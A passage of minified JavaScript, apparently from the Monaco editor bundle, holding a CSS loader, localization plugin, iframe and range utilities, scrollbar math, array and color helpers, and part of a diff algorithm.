],h=function(e){for(var t=[],n=0,i=e.length;n<i;n++)t[n]=d[e[n]];return t};!function(e){function t(){define(\"vs/css\",new i)}var n=function(){function e(){this._pendingLoads=0}return e.prototype.attachListeners=function(e,t,n,i){var o=function(){t.removeEventListener(\"load\",r),t.removeEventListener(\"error\",s)},r=function(e){o(),n()},s=function(e){o(),i(e)};t.addEventListener(\"load\",r),t.addEventListener(\"error\",s)},e.prototype._onLoad=function(e,t){this._pendingLoads--,t()},e.prototype._onLoadError=function(e,t,n){this._pendingLoads--,t(n)},e.prototype._insertLinkNode=function(e){this._pendingLoads++;var t=document.head||document.getElementsByTagName(\"head\")[0],n=t.getElementsByTagName(\"link\")||document.head.getElementsByTagName(\"script\");n.length>0?t.insertBefore(e,n[n.length-1]):t.appendChild(e)},e.prototype.createLinkTag=function(e,t,n,i){var o=this,r=document.createElement(\"link\");r.setAttribute(\"rel\",\"stylesheet\"),r.setAttribute(\"type\",\"text/css\"),r.setAttribute(\"data-name\",e);return this.attachListeners(e,r,function(){return o._onLoad(e,n)},function(t){return o._onLoadError(e,i,t)}),r.setAttribute(\"href\",t),r},e.prototype._linkTagExists=function(e,t){var n,i,o,r,s=document.getElementsByTagName(\"link\");for(n=0,i=s.length;n<i;n++)if(o=s[n].getAttribute(\"data-name\"),r=s[n].getAttribute(\"href\"),o===e||r===t)return!0;return!1},e.prototype.load=function(e,t,n,i){if(this._linkTagExists(e,t))n();else{var o=this.createLinkTag(e,t,n,i);this._insertLinkNode(o)}},e}(),i=function(){function e(){this._cssLoader=new n}return e.prototype.load=function(e,t,n){var i=t.toUrl(e+\".css\");this._cssLoader.load(e,i,function(e){n({})},function(e){\"function\"==typeof n.error&&n.error(\"Could not find \"+i+\" or it was empty\")})},e}();e.CSSPlugin=i,e.init=t,\"undefined\"==typeof doNotInitLoader&&t()}(c||(c={}));var p;!function(e){function t(e,t,n){var i;return i=0===t.length?e:e.replace(/\\{(\\d+)\\}/g,function(e,n){var i=n[0];return void 0!==t[i]?t[i]:e}),n.isPseudo&&(i=\"［\"+i.replace(/[aouei]/g,\"$&$&\")+\"］\"),i}function n(e,t){var n=e[t];return n||((n=e[\"*\"])||null)}function i(e,n,i){for(var o=[],r=3;r<arguments.length;r++)o[r-3]=arguments[r];return t(i,o,e)}function o(e,n){return function(i,o){var r=Array.prototype.slice.call(arguments,2);return t(e[i],r,n)}}function r(){define(\"vs/nls\",new a(s.detect()))}var s=function(){function e(e){this.isPseudo=e}return e.detect=function(){return new e(\"undefined\"!=typeof document&&document.location&&document.location.hash.indexOf(\"pseudo=true\")>=0)},e}(),a=function(){function e(e){var t=this;this._env=e,this.localize=function(e,n){for(var o=[],r=2;r<arguments.length;r++)o[r-2]=arguments[r];return i.apply(void 0,[t._env,e,n].concat(o))}}return e.prototype.setPseudoTranslation=function(e){this._env=new s(e)},e.prototype.create=function(e,t){return{localize:o(t[e],this._env)}},e.prototype.load=function(t,i,r,s){var a=this;if(s=s||{},t&&0!==t.length){var u=s[\"vs/nls\"]||{},l=u.availableLanguages?n(u.availableLanguages,t):null,c=\".nls\";null!==l&&l!==e.DEFAULT_TAG&&(c=c+\".\"+l),i([t+c],function(e){Array.isArray(e)?e.localize=o(e,a._env):e.localize=o(e[t],a._env),r(e)})}else r({localize:this.localize})},e}();a.DEFAULT_TAG=\"i-default\",e.NLSPlugin=a,e.init=r,\"undefined\"==typeof doNotInitLoader&&r()}(p||(p={})),define(d[148],h([1,0]),function(e,t){\"use strict\";function n(e){if(!e.parent||e.parent===e)return null;try{var t=e.location,n=e.parent.location;if(t.protocol!==n.protocol||t.hostname!==n.hostname||t.port!==n.port)return o=!0,null}catch(e){return o=!0,null}return e.parent}function i(e,t){for(var n,i=e.document.getElementsByTagName(\"iframe\"),o=0,r=i.length;o<r;o++)if((n=i[o]).contentWindow===t)return n;return null}Object.defineProperty(t,\"__esModule\",{value:!0});var o=!1,r=null,s=function(){function e(){}return e.getSameOriginWindowChain=function(){if(!r){r=[];var e,t=window;do{(e=n(t))?r.push({window:t,iframeElement:i(e,t)}):r.push({window:t,iframeElement:null}),t=e}while(t)}return r.slice(0)},e.hasDifferentOriginAncestor=function(){return r||this.getSameOriginWindowChain(),o},e.getPositionOfChildWindowRelativeToAncestorWindow=function(e,t){if(!t||e===t)return{top:0,left:0};for(var n=0,i=0,o=this.getSameOriginWindowChain(),r=0;r<o.length;r++){var s=o[r];if(s.window===t)break;if(!s.iframeElement)break;var a=s.iframeElement.getBoundingClientRect();n+=a.top,i+=a.left}return{top:n,left:i}},e}();t.IframeUtils=s}),define(d[415],h([1,0]),function(e,t){\"use strict\";function n(e,t){if(e.start>=t.end||t.start>=e.end)return null;var n=Math.max(e.start,t.start),i=Math.min(e.end,t.end);return i-n<=0?null:{start:n,end:i}}function i(e){return e.end-e.start<=0}function o(e,t){for(var i=[],o=0,r=t;o<r.length;o++){var s=r[o];if(!(e.start>=s.range.end)){if(e.end<s.range.start)break;var a=n(e,s.range);a&&i.push({range:a,size:s.size})}}return i}function r(e,t){return{start:e.start+t,end:e.end+t}}function s(e){for(var t=[],n=null,i=0,o=e;i<o.length;i++){var r=o[i],s=r.range.start,a=r.range.end,u=r.size;n&&u===n.size?n.range.end=a:(n={range:{start:s,end:a},size:u},t.push(n))}return t}function a(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return s(e.reduce(function(e,t){return e.concat(t)},[]))}Object.defineProperty(t,\"__esModule\",{value:!0}),t.intersect=n,t.isEmpty=i,t.relativeComplement=function(e,t){var n=[],o={start:e.start,end:Math.min(t.start,e.end)},r={start:Math.max(t.end,e.start),end:e.end};return i(o)||n.push(o),i(r)||n.push(r),n},t.each=function(e,t){for(var n=e.start;n<e.end;n++)t(n)},t.groupIntersect=o,t.consolidate=s;var u=function(){function e(){this.groups=[],this._size=0}return e.prototype.splice=function(e,t){for(var n=[],i=2;i<arguments.length;i++)n[i-2]=arguments[i];var s=n.length-t,u=o({start:0,end:e},this.groups),l=o({start:e+t,end:Number.POSITIVE_INFINITY},this.groups).map(function(e){return{range:r(e.range,s),size:e.size}}),c=n.map(function(t,n){return{range:{start:e+n,end:e+n+1},size:t.size}});this.groups=a(u,c,l),this._size=this.groups.reduce(function(e,t){return e+t.size*(t.range.end-t.range.start)},0)},Object.defineProperty(e.prototype,\"count\",{get:function(){var e=this.groups.length;return e?this.groups[e-1].range.end:0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"size\",{get:function(){return this._size},enumerable:!0,configurable:!0}),e.prototype.indexAt=function(e){if(e<0)return-1;for(var t=0,n=0,i=0,o=this.groups;i<o.length;i++){var r=o[i],s=r.range.end-r.range.start,a=n+s*r.size;if(e<a)return t+Math.floor((e-n)/r.size);t+=s,n=a}return t},e.prototype.indexAfter=function(e){return Math.min(this.indexAt(e)+1,this.count)},e.prototype.positionAt=function(e){if(e<0)return-1;for(var t=0,n=0,i=0,o=this.groups;i<o.length;i++){var r=o[i],s=r.range.end-r.range.start,a=n+s;if(e<a)return t+(e-n)*r.size;t+=s*r.size,n=a}return-1},e.prototype.dispose=function(){this.groups=null},e}();t.RangeMap=u}),define(d[150],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e,t,n){this._scrollbarSize=Math.round(t),this._oppositeScrollbarSize=Math.round(n),this._arrowSize=Math.round(e),this._visibleSize=0,this._scrollSize=0,this._scrollPosition=0,this._computedAvailableSize=0,this._computedIsNeeded=!1,this._computedSliderSize=0,this._computedSliderRatio=0,this._computedSliderPosition=0,this._refreshComputedValues()}return e.prototype.clone=function(){var t=new e(this._arrowSize,this._scrollbarSize,this._oppositeScrollbarSize);return t.setVisibleSize(this._visibleSize),t.setScrollSize(this._scrollSize),t.setScrollPosition(this._scrollPosition),t},e.prototype.setVisibleSize=function(e){var t=Math.round(e);return this._visibleSize!==t&&(this._visibleSize=t,this._refreshComputedValues(),!0)},e.prototype.setScrollSize=function(e){var t=Math.round(e);return this._scrollSize!==t&&(this._scrollSize=t,this._refreshComputedValues(),!0)},e.prototype.setScrollPosition=function(e){var t=Math.round(e);return this._scrollPosition!==t&&(this._scrollPosition=t,this._refreshComputedValues(),!0)},e._computeValues=function(e,t,n,i,o){var r=Math.max(0,n-e),s=Math.max(0,r-2*t),a=i>0&&i>n;if(!a)return{computedAvailableSize:Math.round(r),computedIsNeeded:a,computedSliderSize:Math.round(s),computedSliderRatio:0,computedSliderPosition:0};var u=Math.round(Math.max(20,Math.floor(n*s/i))),l=(s-u)/(i-n),c=o*l;return{computedAvailableSize:Math.round(r),computedIsNeeded:a,computedSliderSize:Math.round(u),computedSliderRatio:l,computedSliderPosition:Math.round(c)}},e.prototype._refreshComputedValues=function(){var t=e._computeValues(this._oppositeScrollbarSize,this._arrowSize,this._visibleSize,this._scrollSize,this._scrollPosition);this._computedAvailableSize=t.computedAvailableSize,this._computedIsNeeded=t.computedIsNeeded,this._computedSliderSize=t.computedSliderSize,this._computedSliderRatio=t.computedSliderRatio,this._computedSliderPosition=t.computedSliderPosition},e.prototype.getArrowSize=function(){return this._arrowSize},e.prototype.getScrollPosition=function(){return this._scrollPosition},e.prototype.getRectangleLargeSize=function(){return this._computedAvailableSize},e.prototype.getRectangleSmallSize=function(){return this._scrollbarSize},e.prototype.isNeeded=function(){return this._computedIsNeeded},e.prototype.getSliderSize=function(){return this._computedSliderSize},e.prototype.getSliderPosition=function(){return this._computedSliderPosition},e.prototype.getSliderCenter=function(){return this._computedSliderPosition+this._computedSliderSize/2},e.prototype.getDesiredScrollPositionFromOffset=function(e){if(!this._computedIsNeeded)return 0;var t=e-this._arrowSize-this._computedSliderSize/2;return Math.round(t/this._computedSliderRatio)},e.prototype.getDesiredScrollPositionFromDelta=function(e){if(!this._computedIsNeeded)return 0;var t=this._computedSliderPosition+e;return Math.round(t/this._computedSliderRatio)},e}();t.ScrollbarState=n}),define(d[33],h([1,0]),function(e,t){\"use strict\";function n(e,t){var n=0,i=e.length;if(0===i)return 0;for(;n<i;){var o=Math.floor((n+i)/2);t(e[o])?i=o:n=o+1}return n}function i(e,t){if(!(e.length<=1)){var n=e.length/2|0,o=e.slice(0,n),r=e.slice(n);i(o,t),i(r,t);for(var s=0,a=0,u=0;s<o.length&&a<r.length;){var l=t(o[s],r[a]);e[u++]=l<=0?o[s++]:r[a++]}for(;s<o.length;)e[u++]=o[s++];for(;a<r.length;)e[u++]=r[a++]}}function o(e,t){for(var n=0;n<e.length;n++)if(t(e[n]))return n;return-1}Object.defineProperty(t,\"__esModule\",{value:!0}),t.tail=function(e,t){return void 0===t&&(t=0),e[e.length-(1+t)]},t.equals=function(e,t,n){if(void 0===n&&(n=function(e,t){return e===t}),e.length!==t.length)return!1;for(var i=0,o=e.length;i<o;i++)if(!n(e[i],t[i]))return!1;return!0},t.binarySearch=function(e,t,n){for(var i=0,o=e.length-1;i<=o;){var r=(i+o)/2|0,s=n(e[r],t);if(s<0)i=r+1;else{if(!(s>0))return r;o=r-1}}return-(i+1)},t.findFirst=n,t.mergeSort=function(e,t){return i(e,t),e},t.groupBy=function(e,t){for(var n,i=[],o=0,r=e.slice(0).sort(t);o<r.length;o++){var s=r[o];n&&0===t(n[0],s)?n.push(s):(n=[s],i.push(n))}return i},t.delta=function(e,t,n){for(var i=[],o=[],r=0,s=0;;){if(r===e.length){o.push.apply(o,t.slice(s));break}if(s===t.length){i.push.apply(i,e.slice(r));break}var a=e[r],u=t[s],l=n(a,u);0===l?(r+=1,s+=1):l<0?(i.push(a),r+=1):l>0&&(o.push(u),s+=1)}return{removed:i,added:o}},t.top=function(e,t,i){if(0===i)return[];for(var o=e.slice(0,i).sort(t),r=i,s=e.length;r<s;r++)!function(r,s){var a=e[r];if(t(a,o[i-1])<0){o.pop();var u=n(o,function(e){return t(a,e)<0});o.splice(u,0,a)}}(r);return o},t.coalesce=function(e){return e?e.filter(function(e){return!!e}):e},t.move=function(e,t,n){e.splice(n,0,e.splice(t,1)[0])},t.isFalsyOrEmpty=function(e){return!Array.isArray(e)||0===e.length},t.distinct=function(e,t){if(!t)return e.filter(function(t,n){return e.indexOf(t)===n});var n=Object.create(null);return e.filter(function(e){var i=t(e);return!n[i]&&(n[i]=!0,!0)})},t.uniqueFilter=function(e){var t=Object.create(null);return function(n){var i=e(n);return!t[i]&&(t[i]=!0,!0)}},t.firstIndex=o,t.first=function(e,t,n){void 0===n&&(n=null);var i=o(e,t);return i<0?n:e[i]},t.commonPrefixLength=function(e,t,n){void 0===n&&(n=function(e,t){return e===t});for(var i=0,o=0,r=Math.min(e.length,t.length);o<r&&n(e[o],t[o]);o++)i++;return i},t.flatten=function(e){return e.reduce(function(e,t){return e.concat(t)},[])},t.range=function(e,t){void 0===t&&(t=0);for(var n=[],i=t;i<e;i++)n.push(i);return n},t.fill=function(e,t,n){void 0===n&&(n=[]);for(var i=0;i<e;i++)n[i]=t();return n},t.index=function(e,t,n){return void 0===n&&(n=function(e){return e}),e.reduce(function(e,i){var o=t(i);return e[o]=n(i,e[o]),e},Object.create(null))},t.insert=function(e,t){return e.push(t),function(){var n=e.indexOf(t);n>-1&&e.splice(n,1)}},t.arrayInsert=function(e,t,n){var i=e.slice(0,t),o=e.slice(t);return i.concat(n,o)}}),define(d[72],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ok=function(e,t){if(!e||null===e)throw new Error(t?\"Assertion failed (\"+t+\")\":\"Assertion Failed\")}}),define(d[157],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=Object.prototype.hasOwnProperty;t.values=function(e){var t=[];for(var i in e)n.call(e,i)&&t.push(e[i]);return t},t.size=function(e){var t=0;for(var i in e)n.call(e,i)&&(t+=1);return t},t.forEach=function(e,t){for(var i in e){var o=function(i){if(n.call(e,i)&&!1===t({key:i,value:e[i]},function(){delete e[i]}))return{value:void 0}}(i);if(\"object\"==typeof o)return o.value}},t.remove=function(e,t){return!!n.call(e,t)&&(delete e[t],!0)},t.groupBy=function(e,t){for(var n=Object.create(null),i=0,o=e;i<o.length;i++){var r=o[i],s=t(r),a=n[s];a||(a=n[s]=[]),a.push(r)}return n}}),define(d[32],h([1,0]),function(e,t){\"use strict\";function n(e){if(!e)return null;var t=e.length;if(0===t)return null;if(35!==e.charCodeAt(0))return null;if(7===t){var n=16*i(e.charCodeAt(1))+i(e.charCodeAt(2)),o=16*i(e.charCodeAt(3))+i(e.charCodeAt(4)),r=16*i(e.charCodeAt(5))+i(e.charCodeAt(6));return new a(n,o,r,255)}if(9===t){var n=16*i(e.charCodeAt(1))+i(e.charCodeAt(2)),o=16*i(e.charCodeAt(3))+i(e.charCodeAt(4)),r=16*i(e.charCodeAt(5))+i(e.charCodeAt(6)),s=16*i(e.charCodeAt(7))+i(e.charCodeAt(8));return new a(n,o,r,s)}if(4===t){var n=i(e.charCodeAt(1)),o=i(e.charCodeAt(2)),r=i(e.charCodeAt(3));return new a(16*n+n,16*o+o,16*r+r)}if(5===t){var n=i(e.charCodeAt(1)),o=i(e.charCodeAt(2)),r=i(e.charCodeAt(3)),s=i(e.charCodeAt(4));return new a(16*n+n,16*o+o,16*r+r,16*s+s)}return null}function i(e){switch(e){case 48:return 0;case 49:return 1;case 50:return 2;case 51:return 3;case 52:return 4;case 53:return 5;case 54:return 6;case 55:return 7;case 56:return 8;case 57:return 9;case 97:case 65:return 10;case 98:case 66:return 11;case 99:case 67:return 12;case 100:case 68:return 13;case 101:case 69:return 14;case 102:case 70:return 15}return 0}function o(e){var t=e.r/255,n=e.g/255,i=e.b/255,o=e.a/255,r=Math.max(t,n,i),s=Math.min(t,n,i),a=0,l=0,c=Math.round((s+r)/2*1e3)/1e3,d=r-s;if(d>0){switch(l=Math.min(Math.round(1e3*(c<=.5?d/(2*c):d/(2-2*c)))/1e3,1),r){case t:a=(n-i)/d+(n<i?6:0);break;case n:a=(i-t)/d+2;break;case i:a=(t-n)/d+4}a*=60,a=Math.round(a)}return new u(a,l,c,o)}function r(e){var t,n,i,o=e.h/360,r=Math.min(e.s,1),u=Math.min(e.l,1),l=e.a;if(0===r)t=n=i=u;else{var c=u<.5?u*(1+r):u+r-u*r,d=2*u-c;t=s(d,c,o+1/3),n=s(d,c,o),i=s(d,c,o-1/3)}return new a(Math.round(255*t),Math.round(255*n),Math.round(255*i),Math.round(255*l))}function s(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+6*(t-e)*n:n<.5?t:n<2/3?e+(t-e)*(2/3-n)*6:e}Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(){function e(t,n,i,o){void 0===o&&(o=255),this.r=e._clampInt_0_255(t),this.g=e._clampInt_0_255(n),this.b=e._clampInt_0_255(i),this.a=e._clampInt_0_255(o)}return e.equals=function(e,t){return e.r===t.r&&e.g===t.g&&e.b===t.b&&e.a===t.a},e._clampInt_0_255=function(e){return e<0?0:e>255?255:0|e},e.prototype.toString=function(){return 255===this.a?\"rgb(\"+this.r+\", \"+this.g+\", \"+this.b+\")\":\"rgba(\"+this.r+\", \"+this.g+\", \"+this.b+\", \"+(this.a/255).toFixed(2)+\")\"},e}();t.RGBA=a;var u=function(){function e(t,n,i,o){this.h=e._clampFloat_0_360(t),this.s=e._clampFloat_0_1(n),this.l=e._clampFloat_0_1(i),this.a=e._clampFloat_0_1(o)}return e._clampFloat_0_360=function(e){return e<0?0:e>360?360:e},e._clampFloat_0_1=function(e){return e<0?0:e>1?1:e},e.prototype.toString=function(){var e=(100*this.s).toFixed(2),t=(100*this.l).toFixed(2);return 1===this.a?\"hsl(\"+this.h+\", \"+e+\"%, \"+t+\"%)\":\"hsla(\"+this.h+\", \"+e+\"%, \"+t+\"%, \"+this.a.toFixed(2)+\")\"},e}();t.HSLA=u;var l=/^#[0-9A-Fa-f]{3,8}$/i;t.isValidHexColor=function(e){return l.test(e)&&6!==e.length&&8!==e.length};var c=function(){function e(e){this.rgba=e}return e.fromRGBA=function(t){return new e(t)},e.fromHex=function(t,i){void 0===i&&(i=e.red);var o=n(t);return o?new e(o):i},e.fromHSLA=function(t){return new e(r(t))},e.fromHSV=function(t,n,i,o,r){if(void 0===o&&(o=255),void 0===r&&(r=e.red),t<0||t>=360||n<0||n>1||i<0||i>1)return r;var s=i*n,u=s*(1-Math.abs(t/60%2-1)),l=i-s,c=[0,0,0],d=c[0],h=c[1],p=c[2];return t<60?(d=s,h=u):t<120?(d=u,h=s):t<180?(h=s,p=u):t<240?(h=u,p=s):t<300?(d=u,p=s):t<360&&(d=s,p=u),d=255*(d+l),h=255*(h+l),p=255*(p+l),e.fromRGBA(new a(d,h,p,o))},e.prototype.equals=function(e){return!!e&&a.equals(this.rgba,e.rgba)},e.prototype.getLuminosity=function(){var t=.2126*e._luminosityFor(this.rgba.r)+.7152*e._luminosityFor(this.rgba.g)+.0722*e._luminosityFor(this.rgba.b);return Math.round(1e4*t)/1e4},e._luminosityFor=function(e){var t=e/255;return t<=.03928?t/12.92:Math.pow((t+.055)/1.055,2.4)},e.prototype.getContrast=function(e){var t=this.getLuminosity(),n=e.getLuminosity();return t>n?(t+.05)/(n+.05):(n+.05)/(t+.05)},e.prototype.getHue=function(){var e,t=[this.rgba.r/255,this.rgba.g/255,this.rgba.b/255],n=t[0],i=t[1],o=t[2],r=Math.max(n,i,o),s=r-Math.min(n,i,o);return(e=0===s?0:r===n?(i-o)/s%6*60:r===i?60*((o-n)/s+2):60*((n-i)/s+4))<0&&(e+=360),e},e.prototype.getSaturation=function(){var e=[this.rgba.r/255,this.rgba.g/255,this.rgba.b/255],t=e[0],n=e[1],i=e[2],o=Math.max(t,n,i),r=Math.min(t,n,i);return 0===o?0:(o-r)/o},e.prototype.getValue=function(){return Math.max(this.rgba.r/255,this.rgba.g/255,this.rgba.b/255)},e.prototype.isDarker=function(){return(299*this.rgba.r+587*this.rgba.g+114*this.rgba.b)/1e3<128},e.prototype.isLighter=function(){return(299*this.rgba.r+587*this.rgba.g+114*this.rgba.b)/1e3>=128},e.prototype.isLighterThan=function(e){return this.getLuminosity()>e.getLuminosity()},e.prototype.isDarkerThan=function(e){return this.getLuminosity()<e.getLuminosity()},e.prototype.lighten=function(t){var n=this.toHSLA();return new e(r(new u(n.h,n.s,n.l+n.l*t,n.a)))},e.prototype.darken=function(t){var n=this.toHSLA();return new e(r(new u(n.h,n.s,n.l-n.l*t,n.a)))},e.prototype.transparent=function(t){var n=this.rgba;return new e(new a(n.r,n.g,n.b,Math.round(n.a*t)))},e.prototype.isTransparent=function(){return 0===this.rgba.a},e.prototype.opposite=function(){return new e(new a(255-this.rgba.r,255-this.rgba.g,255-this.rgba.b,this.rgba.a))},e.prototype.blend=function(t){var n=t.toRGBA(),i=this.rgba.a/255,o=n.a/255,r=i+o*(1-i);if(r<1e-6)return e.transparent;var s=this.rgba.r*i/r+n.r*o*(1-i)/r,u=this.rgba.g*i/r+n.g*o*(1-i)/r,l=this.rgba.b*i/r+n.b*o*(1-i)/r;return r*=255,new e(new a(s,u,l,r))},e.prototype.toString=function(){var e=this.rgba;return 255===e.a?this.toRGBHex():\"rgba(\"+e.r+\", \"+e.g+\", \"+e.b+\", \"+ +(e.a/255).toFixed(2)+\")\"},e.prototype.toRGBHex=function(){var t=this.rgba;return\"#\"+e._toTwoDigitHex(t.r)+e._toTwoDigitHex(t.g)+e._toTwoDigitHex(t.b)},e.prototype.toRGBAHex=function(t){void 0===t&&(t=!1);var n=this.rgba;return t&&255===n.a?this.toRGBHex():\"#\"+e._toTwoDigitHex(n.r)+e._toTwoDigitHex(n.g)+e._toTwoDigitHex(n.b)+e._toTwoDigitHex(n.a)},e._toTwoDigitHex=function(e){var t=e.toString(16);return 2!==t.length?\"0\"+t:t},e.prototype.toHSLA=function(){return o(this.rgba)},e.prototype.toRGBA=function(){return this.rgba},e.getLighterColor=function(e,t,n){if(e.isLighterThan(t))return e;n=n||.5;var i=e.getLuminosity(),o=t.getLuminosity();return n=n*(o-i)/o,e.lighten(n)},e.getDarkerColor=function(e,t,n){if(e.isDarkerThan(t))return e;n=n||.5;var i=e.getLuminosity();return n=n*(i-t.getLuminosity())/i,e.darken(n)},e.white=new e(new a(255,255,255,255)),e.black=new e(new a(0,0,0,255)),e.red=new e(new a(255,0,0,255)),e.blue=new e(new a(0,0,255,255)),e.green=new e(new a(0,255,0,255)),e.cyan=new e(new a(0,255,255,255)),e.lightgrey=new e(new a(211,211,211,255)),e.transparent=new e(new a(0,0,0,0)),e}();t.Color=c}),define(d[446],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.createDecorator=function(e){return function(t,n,i){var o=null,r=null;if(\"function\"==typeof i.value?(o=\"value\",r=i.value):\"function\"==typeof i.get&&(o=\"get\",r=i.get),!r)throw new Error(\"not supported\");i[o]=e(r)}},t.memoize=function(e,t,n){var i=null,o=null;if(\"function\"==typeof n.value?(i=\"value\",o=n.value):\"function\"==typeof n.get&&(i=\"get\",o=n.get),!o)throw new Error(\"not supported\");var r=\"$memoize$\"+t;n[i]=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return this.hasOwnProperty(r)||Object.defineProperty(this,r,{configurable:!1,enumerable:!1,writable:!1,value:o.apply(this,e)}),this[r]}}}),define(d[332],h([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.DifferenceType={Add:0,Remove:1,Change:2};var n=function(){function e(e,t,n,i){this.originalStart=e,this.originalLength=t,this.modifiedStart=n,this.modifiedLength=i}return e.prototype.getChangeType=function(){return 0===this.originalLength?t.DifferenceType.Add:0===this.modifiedLength?t.DifferenceType.Remove:t.DifferenceType.Change},e.prototype.getOriginalEnd=function(){return this.originalStart+this.originalLength},e.prototype.getModifiedEnd=function(){return this.modifiedStart+this.modifiedLength},e}();t.DiffChange=n}),define(d[139],h([1,0,332]),function(e,t,n){\"use strict\";function i(e){return{getLength:function(){return e.length},getElementHash:function(t){return e[t]}}}Object.defineProperty(t,\"__esModule\",{value:!0}),t.stringDiff=function(e,t,n){return new u(i(e),i(t)).ComputeDiff(n)};var o=function(){function e(){}return e.Assert=function(e,t){if(!e)throw new Error(t)},e}();t.Debug=o;var r=function(){function e(){}return e.Copy=function(e,t,n,i,o){for(var r=0;r<o;r++)n[i+r]=e[t+r]},e}();t.MyArray=r;var s=function(){function e(){this.m_changes=[],this.m_originalStart=Number.MAX_VALUE,this.m_modifiedStart=Number.MAX_VALUE,this.m_originalCount=0,this.m_modifiedCount=0}return e.prototype.MarkNextChange=function(){(this.m_originalCount>0||this.m_modifiedCount>0)&&this.m_changes.push(new n.DiffChange(this.m_originalStart,this.m_originalCount,this.m_modifiedStart,this.m_modifiedCount)),this.m_originalCount=0,this.m_modifiedCount=0,this.m_originalStart=Number.MAX_VALUE,this.m_modifiedStart=Number.MAX_VALUE},e.prototype.AddOriginalElement=function(e,t){this.m_originalStart=Math.min(this.m_originalStart,e),this.m_modifiedStart=Math.min(this.m_modifiedStart,t),this.m_originalCount++},e.prototype.AddModifiedElement=function(e,t){this.m_originalStart=Math.min(this.m_originalStart,e),this.m_modifiedStart=Math.min(this.m_modifiedStart,t),this.m_modifiedCount++},e.prototype.getChanges=function(){return(this.m_originalCount>0||this.m_modifiedCount>0)&&this.MarkNextChange(),this.m_changes},e.prototype.getReverseChanges=function(){return(this.m_originalCount>0||this.m_modifiedCount>0)&&this.MarkNextChange(),this.m_changes.reverse(),this.m_changes},e}(),a=Object.prototype.hasOwnProperty,u=function(){function e(e,t,n){void 0===n&&(n=null),this.OriginalSequence=e,this.ModifiedSequence=t,this.ContinueProcessingPredicate=n,this.m_originalIds=[],this.m_modifiedIds=[],this.m_forwardHistory=[],this.m_reverseHistory=[],this.ComputeUniqueIdentifiers()}return e.prototype.ComputeUniqueIdentifiers=function(){var e=this.OriginalSequence.getLength(),t=this.ModifiedSequence.getLength();this.m_originalIds=new Array(e),this.m_modifiedIds=new Array(t);var n,i={},o=1;for(n=0;n<e;n++){var r=this.OriginalSequence.getElementHash(n);a.call(i,r)?this.m_originalIds[n]=i[r]:(this.m_originalIds[n]=o++,i[r]=this.m_originalIds[n])}for(n=0;n<t;n++){var s=this.ModifiedSequence.getElementHash(n);a.call(i,s)?this.m_modifiedIds[n]=i[s]:(this.m_modifiedIds[n]=o++,i[s]=this.m_modifiedIds[n])}},e.prototype.ElementsAreEqual=function(e,t){return this.m_originalIds[e]===this.m_modifiedIds[t]},e.prototype.OriginalElementsAreEqual=function(e,t){return this.m_originalIds[e]===this.m_originalIds[t]},e.prototype.ModifiedElementsAreEqual=function(e,t){return this.m_modifiedIds[e]===this.m_modifiedIds[t]},e.prototype.ComputeDiff=function(e){return this._ComputeDiff(0,this.OriginalSequence.getLength()-1,0,this.ModifiedSequence.getLength()-1,e)},e.prototype._ComputeDiff=function(e,t,n,i,o){var r=[!1],s=this.ComputeDiffRecursive(e,t,n,i,r);return o?this.ShiftChanges(s):s},e.prototype.ComputeDiffRecursive=function(e,t,i,r,s){for(s[0]=!1;e<=t&&i<=r&&this.ElementsAreEqual(e,i);)e++,i++;for(;t>=e&&r>=i&&this.ElementsAreEqual(t,r);)t--,r--;if(e>t||i>r){var a=void 0;return i<=r?(o.Assert(e===t+1,\"originalStart should only be one more than originalEnd\"),a=[new n.DiffChange(e,0,i,r-i+1)]):e<=t?(o.Assert(i===r+1,\"modifiedStart should only be one more than modifiedEnd\"),a=[new n.DiffChange(e,t-e+1,i,0)]):(o.Assert(e===t+1,\"originalStart should only be one more than originalEnd\"),o.Assert(i===r+1,\"modifiedStart should only be one more than modifiedEnd\"),a=[]),a}var u=[0],l=[0],c=this.ComputeRecursionPoint(e,t,i,r,u,l,s),d=u[0],h=l[0];if(null!==c)return c;if(!s[0]){var p=this.ComputeDiffRecursive(e,d,i,h,s),f=[];return f=s[0]?[new n.DiffChange(d+1,t-(d+1)+1,h+1,r-(h+1)+1)]:this.ComputeDiffRecursive(d+1,t,h+1,r,s),this.ConcatenateChanges(p,f)}return[new n.DiffChange(e,t-e+1,i,r-i+1)]},e.prototype.WALKTRACE=function(e,t,i,o,r,a,u,l,c,d,h,p,f,g,m,v,_,y){var C,b=null,w=null,S=new s,E=t,L=i,x=f[0]-v[0]-o,N=Number.MIN_VALUE,M=this.m_forwardHistory.length-1;do{(C=x+e)===E||C<L&&c[C-1]<c[C+1]?(g=(h=c[C+1])-x-o,h<N&&S.MarkNextChange(),N=h,S.AddModifiedElement(h+1,g),x=C+1-e):(g=(h=c[C-1]+1)-x-o,h<N&&S.MarkNextChange(),N=h-1,S.AddOriginalElement(h,g+1),x=C-1-e),M>=0&&(e=(c=this.m_forwardHistory[M])[0],E=1,L=c.length-1)}while(--M>=-1);if(b=S.getReverseChanges(),y[0]){var T=f[0]+1,k=v[0]+1;if(null!==b&&b.length>0){var I=b[b.length-1];T=Math.max(T,I.getOriginalEnd()),k=Math.max(k,I.getModifiedEnd())}w=[new n.DiffChange(T,p-T+1,k,m-k+1)]}else{S=new s,E=a,L=u,x=f[0]-v[0]-l,N=Number.MAX_VALUE,M=_?this.m_reverseHistory.length-1:this.m_reverseHistory.length-2;do{(C=x+r)===E||C<L&&d[C-1]>=d[C+1]?(g=(h=d[C+1]-1)-x-l,h>N&&S.MarkNextChange(),N=h+1,S.AddOriginalElement(h+1,g+1),x=C+1-r):(g=(h=d[C-1])-x-l,h>N&&S.MarkNextChange(),N=h,S.AddModifiedElement(h+1,g+1),x=C-1-r),M>=0&&(r=(d=this.m_reverseHistory[M])[0],E=1,L=d.length-1)}while(--M>=-1);w=S.getChanges()}return 